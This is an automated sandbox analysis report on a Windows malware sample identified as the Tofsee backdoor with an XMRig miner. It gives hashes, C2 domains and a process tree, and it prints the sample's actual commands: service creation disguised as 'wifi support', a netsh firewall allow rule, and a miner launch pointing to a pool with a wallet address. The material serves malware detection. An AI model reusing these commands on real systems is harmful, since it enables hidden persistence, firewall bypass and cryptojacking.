Analysis

  • max time kernel
    143s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    08/10/2023, 12:48

General

  • Target

    file.exe

  • Size

    284KB

  • MD5

    d1de288c58de023e8aad492868da3b92

  • SHA1

    530d8675705fee02d103c076706585f8f7a97de2

  • SHA256

    ead20c77e005c89bcc2a699892caa8775d7a7aa2c15d5170fd3d4b783f8f3ee3

  • SHA512

    9179f17800fe35a816c3dc29a6d936e56658f253b83fac6c396cad5fd2f8c2c4e0beb62013c4d2625e13a5ba9ba7332f5bbadb6702eb441cc1a07e995365906e

  • SSDEEP

    3072:FcSalqHSwBWbacDEgFAdpW1Z8AZLJDAM/a9:taYlWeeEucpCZZZq

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1304
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cqupimes\
      2⤵
        PID:1764
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jhwexnie.exe" C:\Windows\SysWOW64\cqupimes\
        2⤵
          PID:2624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cqupimes binPath= "C:\Windows\SysWOW64\cqupimes\jhwexnie.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2640
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description cqupimes "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2628
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start cqupimes
          2⤵
          • Launches sc.exe
          PID:2656
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3028
      • C:\Windows\SysWOW64\cqupimes\jhwexnie.exe
        C:\Windows\SysWOW64\cqupimes\jhwexnie.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2520
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1016

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\jhwexnie.exe

              Filesize

              12.4MB

              MD5

              a1900bffed9daf21d9daa940e6878fbe

              SHA1

              7374adfae02749bb411901e9df5329ef1dd58708

              SHA256

              de265b71748feae314d55d12d8e2d4139e0d665a4bbab2e9e618f8967bafa9dd

              SHA512

              c5b20f6784368c1b345ab6fd899c356137f68ea8c582f8805fb59ad5518c1ee72db920c7e0e7cf474cacd984a1c8a4218d092b574bed520df52c7ed4210aff75

            • C:\Windows\SysWOW64\cqupimes\jhwexnie.exe

              Filesize

              12.4MB

              MD5

              a1900bffed9daf21d9daa940e6878fbe

              SHA1

              7374adfae02749bb411901e9df5329ef1dd58708

              SHA256

              de265b71748feae314d55d12d8e2d4139e0d665a4bbab2e9e618f8967bafa9dd

              SHA512

              c5b20f6784368c1b345ab6fd899c356137f68ea8c582f8805fb59ad5518c1ee72db920c7e0e7cf474cacd984a1c8a4218d092b574bed520df52c7ed4210aff75

            • memory/1016-75-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1016-74-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1016-63-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1016-65-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1016-69-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/1016-78-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1016-73-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1016-77-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1016-76-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1304-1-0x00000000023B0000-0x00000000024B0000-memory.dmp

              Filesize

              1024KB

            • memory/1304-4-0x0000000000400000-0x0000000002284000-memory.dmp

              Filesize

              30.5MB

            • memory/1304-8-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/1304-7-0x0000000000400000-0x0000000002284000-memory.dmp

              Filesize

              30.5MB

            • memory/1304-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2520-18-0x0000000000400000-0x0000000002284000-memory.dmp

              Filesize

              30.5MB

            • memory/2520-15-0x0000000000400000-0x0000000002284000-memory.dmp

              Filesize

              30.5MB

            • memory/2520-10-0x0000000002460000-0x0000000002560000-memory.dmp

              Filesize

              1024KB

            • memory/2552-38-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-48-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-35-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-36-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-37-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-31-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-39-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-40-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-41-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-42-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-43-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-44-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-45-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-47-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-46-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-34-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-49-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-50-0x0000000000360000-0x0000000000370000-memory.dmp

              Filesize

              64KB

            • memory/2552-51-0x00000000003C0000-0x00000000003C5000-memory.dmp

              Filesize

              20KB

            • memory/2552-54-0x00000000003C0000-0x00000000003C5000-memory.dmp

              Filesize

              20KB

            • memory/2552-55-0x00000000053D0000-0x00000000057DB000-memory.dmp

              Filesize

              4.0MB

            • memory/2552-58-0x00000000053D0000-0x00000000057DB000-memory.dmp

              Filesize

              4.0MB

            • memory/2552-59-0x00000000003F0000-0x00000000003F7000-memory.dmp

              Filesize

              28KB

            • memory/2552-27-0x0000000001980000-0x0000000001B8F000-memory.dmp

              Filesize

              2.1MB

            • memory/2552-28-0x0000000000350000-0x0000000000356000-memory.dmp

              Filesize

              24KB

            • memory/2552-24-0x0000000001980000-0x0000000001B8F000-memory.dmp

              Filesize

              2.1MB

            • memory/2552-23-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2552-21-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2552-20-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2552-14-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2552-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2552-11-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB